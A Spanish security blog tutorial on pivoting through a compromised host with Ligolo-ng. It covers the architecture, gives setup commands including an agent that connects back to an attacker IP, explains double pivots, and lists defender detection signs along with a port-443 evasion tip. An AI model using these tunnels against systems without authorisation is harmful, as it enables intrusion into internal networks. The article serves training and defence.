Saltar al contenido

Ligolo-ng: pivotar como si estuvieras dentro de la red, no mirándola desde fuera

    Ligolo-ng:

    pivotar como si estuvieras dentro de la red, no mirándola desde fuera

    Pivoting y post-explotación  |  unfantasmaenelsistema.com

    Comprometer una máquina en el borde de una red segmentada rara vez es el objetivo final: normalmente es el punto de apoyo desde el que llegar a la red interna que esa máquina sí puede ver. El pivoting clásico —proxychains delante de cada comando, redirección de puertos uno por uno con chisel, un túnel SOCKS sobre SSH— funciona, pero cobra un precio en velocidad y en fricción operativa que se nota sobre todo en un escaneo de red completo. Ligolo-ng plantea una solución distinta: en lugar de forzar a cada herramienta a hablar SOCKS, crea una interfaz de red real en la máquina atacante y hace que la red interna sea, literalmente, alcanzable como si estuvieras conectado a ella.

    Qué aprenderás en este artículo

    Por qué proxychains, chisel y el SOCKS de SSH tienen límites reales en un pivote extenso · Cómo funciona la arquitectura proxy + agent de Ligolo-ng, y qué es exactamente una interfaz TUN · El flujo completo para levantar un túnel: proxy en el atacante, agent en el pivote, rutas · Por qué, una vez montado el túnel, Nmap o Impacket funcionan sin ningún prefijo ni configuración extra · Qué detecta un defensor que monitoriza la máquina pivote, y qué OPSEC reduce esa huella

    1. Por qué el pivoting clásico se queda corto

    MétodoLimitación principal
    Proxychains + SSH SOCKSSolo funciona con herramientas que soportan SOCKS explícitamente; UDP no soportado; muy lento en escaneos
    ChiselRequiere redirigir puerto por puerto en lugar de tunelizar una subred entera
    SSH SOCKS directoMisma limitación de SOCKS que proxychains, sin capa adicional de gestión

    El coste no es solo de comodidad: es de tiempo real de operación. Un escaneo Nmap completo de una red /24 a través de proxychains con SSH SOCKS puede superar los 25 minutos; el mismo escaneo sobre un túnel Ligolo-ng ronda los 45 segundos, porque el tráfico no pasa por una capa de traducción SOCKS en cada paquete: viaja por una interfaz de red que el sistema operativo trata como una interfaz más.

    2. La arquitectura: proxy, agente e interfaz TUN

    ComponenteDónde viveFunción
    ligolo-proxyMáquina atacanteCrea la interfaz TUN, escucha conexiones cifradas de agentes, expone una consola interactiva
    ligolo-agentMáquina pivote (comprometida)Se conecta al proxy vía TLS y reenvía el tráfico hacia la red interna que ve

    Una interfaz TUN es una interfaz de red virtual a nivel de kernel: para el sistema operativo del atacante, el tráfico que sale por ella es tráfico de red normal, indistinguible en la práctica de una interfaz física. Ligolo-ng usa esa interfaz para encapsular, sobre un único canal TLS hacia el agente, todo el tráfico dirigido a la red interna — sin que cada herramienta tenga que saber nada sobre túneles ni proxies.

    3. Levantar el túnel, paso a paso

    # 1) En el atacante: crear la interfaz TUN que usara el proxy
    sudo ip tuntap add user $USER mode tun ligolo
    sudo ip link set ligolo up
     
    # 2) En el atacante: arrancar el proxy (certificado autofirmado, solo para laboratorio)
    sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
    # 3) En la maquina pivote ya comprometida: conectar el agente al proxy
    ./agent -connect 10.10.14.5:11601 -ignore-cert

    En cuanto el agente conecta, aparece como una sesión disponible en la consola del proxy. Desde ahí se selecciona, se arranca el túnel y se añaden las rutas hacia las subredes internas que ese pivote puede alcanzar.

    ligolo-ng >> session          # listar y seleccionar el agente conectado
    ligolo-ng >> start            # activar el tunel sobre la sesion seleccionada
     
    # En otra terminal del atacante: anadir la ruta hacia la red interna
    sudo ip route add 172.16.0.0/24 dev ligolo

    A partir de aquí, nada de prefijos especiales

    Una vez la ruta está añadida, nmap, impacket, evil-winrm o un simple curl contra un host de la red 172.16.0.0/24 funcionan exactamente igual que si el atacante estuviera conectado a esa red por cable — sin anteponer proxychains ni ningún otro envoltorio

    4. Doble pivote y listeners reversos

    Cuando la red interna alcanzada desde el primer pivote tiene, a su vez, otra máquina con acceso a una segunda red aún más profunda, Ligolo-ng permite encadenar un segundo agente sobre el túnel ya existente — doble pivote, sin tener que repetir manualmente la configuración de rutas de una capa a otra. La consola también soporta listeners reversos (listener_add), que exponen un puerto en el propio pivote para recibir conexiones entrantes desde la red interna hacia herramientas que corren en la máquina del atacante.

    5. Lo que ve un defensor

    Desde el lado de quien monitoriza la máquina pivote, no la del atacante, hay señales concretas que buscar.

    • Un binario «agent» sin firmar ejecutándose que no forma parte del software instalado en esa máquina, con una conexión saliente persistente
    • Una conexión TLS saliente de larga duración hacia una IP o dominio externo por un puerto no estándar (11601 por defecto) — o hacia 443 si el operador afinó su OPSEC, lo que la hace más difícil de distinguir de tráfico HTTPS legítimo
    • Volumen de tráfico saliente sostenido desde un host que normalmente no genera ese patrón, especialmente durante un escaneo activo de la red interna a través del túnel

    Por qué usar el puerto 443 cambia la detección

    Un operador que sustituye el puerto por defecto (11601) por 443 con un certificado TLS válido hace que ese tráfico se mezcle con el resto de conexiones HTTPS salientes legítimas de la organización, lo que obliga a un defensor a depender de inspección de certificados o de análisis de comportamiento en lugar de una simple regla de puerto

    Encuadre legal

    Ligolo-ng es una herramienta de Red Team pensada para pentests con autorización expresa y por escrito. Levantar un túnel de pivoting contra una infraestructura de la que no eres propietario ni tienes autorización constituye acceso ilícito a sistemas de información (art. 197 bis del Código Penal). Practica siempre en tu propio laboratorio de redes segmentadas.

    Conclusión

    El aporte real de Ligolo-ng no es una técnica nueva de pivoting: es hacer que el pivoting deje de sentirse como pivoting. Una interfaz TUN real elimina la fricción de proxychains y la limitación de puerto por puerto de chisel, al precio de requerir privilegios de root en la máquina atacante para crear esa interfaz.

    Para cualquiera que haya esperado veinticinco minutos a que un escaneo termine a través de un SOCKS sobre SSH, la diferencia no es sutil: es la diferencia entre tratar la red interna como algo remoto y tratarla como si ya estuvieras dentro.

    Practica esto en el laboratorio guiado de GhostAcademy

    GhostAcademy dedica una guía completa a Ligolo-ng: instalación y compilación cruzada, arquitectura proxy/agente, configuración de rutas, y laboratorios de pivoting hacia una red interna, pivoting hacia Active Directory y doble pivote encadenado.

    Abrir la guía de Ligolo-ng →

    Referencias

    La guía interactiva de Ligolo-ng de GhostAcademy, con instalación, arquitectura completa y tres laboratorios de pivoting progresivo · Repositorio oficial del proyecto en GitHub (nicocha30/ligolo-ng), con los binarios precompilados para Linux, Windows y macOS · Otros artículos de esta serie cubren herramientas de la misma fase de una intrusión: la búsqueda de credenciales en shares con Snaffler, y la enumeración SMB/RPC/LDAP con enum4linux

    unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

    Resumen de privacidad

    Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.